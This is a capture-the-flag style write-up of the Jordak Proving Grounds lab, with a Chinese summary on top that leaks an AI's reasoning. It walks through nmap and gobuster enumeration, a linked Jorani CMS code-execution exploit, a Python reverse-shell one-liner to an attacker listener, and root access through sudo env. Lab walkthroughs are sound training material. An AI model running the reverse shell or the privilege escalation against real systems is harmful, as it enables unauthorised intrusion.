Jordak Linux Lab Proving Grounds
好的,我现在需要帮用户总结一篇文章的内容,控制在100个字以内。首先,我得仔细阅读用户提供的文章内容,理解其主要信息。 文章讲的是渗透测试的过程,从信息收集开始,使用nmap进行扫描,然后用gobuster枚举目录。接着发现了一个漏洞,利用Jorani CMS的远程代码执行漏洞获取初始访问权限。之后稳定shell,使用nc和python建立更好的反向shell。最后通过sudo命令找到权限提升点,成功获取root权限。 接下来,我需要将这些步骤浓缩成一段简短的文字。要确保涵盖主要步骤:信息收集、扫描、漏洞利用、稳定shell和权限提升。同时注意字数限制在100字以内。 可能会遇到的问题是如何简洁地表达每个步骤而不遗漏关键点。比如,“利用nmap进行初步和全面扫描”可以简化为“使用nmap进行扫描”。同样,“通过sudo命令找到权限提升点”可以更简洁地表达。 最后,检查总结是否准确传达了文章的核心内容,并且符合用户的格式要求:直接写描述,不使用特定开头。 </think> 文章描述了一次渗透测试的过程:通过信息收集、nmap扫描、gobuster枚举目录发现漏洞,并利用Jorani CMS的远程代码执行漏洞获取初始访问权限。随后稳定Shell并提升权限至root。 2026-3-23 06:31:23 Author: infosecwriteups.com(查看原文) 阅读量:9 收藏

Press enter or click to view image in full size

AI Generated ( Sora/GPT )

Whenever we are in a pentest, there is things we have to take into consideration while infiltrating a machine or exploiting it’s services. there is also different entry points to the target whether it’s a misconfigured access control or a vulnerabilty of some sort.

Moving forward, the first step in a red team pentest is the following:

Information gathering, by that I’ll leverage the tools to gather as much information about the target as possible to later use those info to get access on the system.

Always when we want to see if the target is up and running we send ICMP Requests to see if it’s live and online:

Next I’ll run a quick scan with nmap :

└─# nmap -sC -sV 192.168.122.109 -oA initial -v

Next I’ll run a full scan with nmap :

└─# nmap -p- -sC -sV 192.168.122.109 -oA full -v

Afterwards I’ll run a enumeration scan to find web directories that could help us to further explore the target:

`└─# gobuster dir -u http://192.168.122.109 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt --exclude-length 0 -o enum.txt`

from the nmap scan I found the following directory:

/evox/about

from navigating to the webpage I found the following page:

Press enter or click to view image in full size

Leave Management system:

Get Cyb0rgBytes’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

on the bottom right corner there is a version number for the jorani CMS :

after some researching online I found the following exploit for the vulnerability :

https://pentest-tools.com/vulnerabilities-exploits/jorani-100-remote-code-execution_1842

Running the exploit against the target got me initial access:

Press enter or click to view image in full size

I noticed while I was examining the target’s shell that the environment is running Pseudo-term, the next move will be to stabilize the shell so I can execute commands freely, first I would run a listener in another terminal:

nc -lnvp 9001

Afterwards I’ll run this command with python to get a better reverse shell:

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.214",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

And there we go a shell was recieved:

Press enter or click to view image in full size

Next I’ll run sudo -l to see if there is any possible PE vector with sudo :

Press enter or click to view image in full size

Apparently I can run /usr/bin/env as Sudo without password, this might be a strong sign that I can escalate privileges with env, next I’ll navigate to gtfobins and check if there is any executions i can run with env:

Press enter or click to view image in full size

by running sudo env /bin/sh I can successfully get root access on the box!!!
voila :)

Thank you all for reading my writeups and supporting my content till now, I appreciate everyone of you, currently I’m between jobs and preparing for OSCP slowly for the long term, for a better career and for a better future! if you like my content and would like to follow this inspiring journey please clap my content as much as possible, follow me and share my articles if you like them, it really means alot and keeps pushing me further to greatness.

Happy hacking!


文章来源: https://infosecwriteups.com/jordak-linux-lab-proving-grounds-d07b6c12900a?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh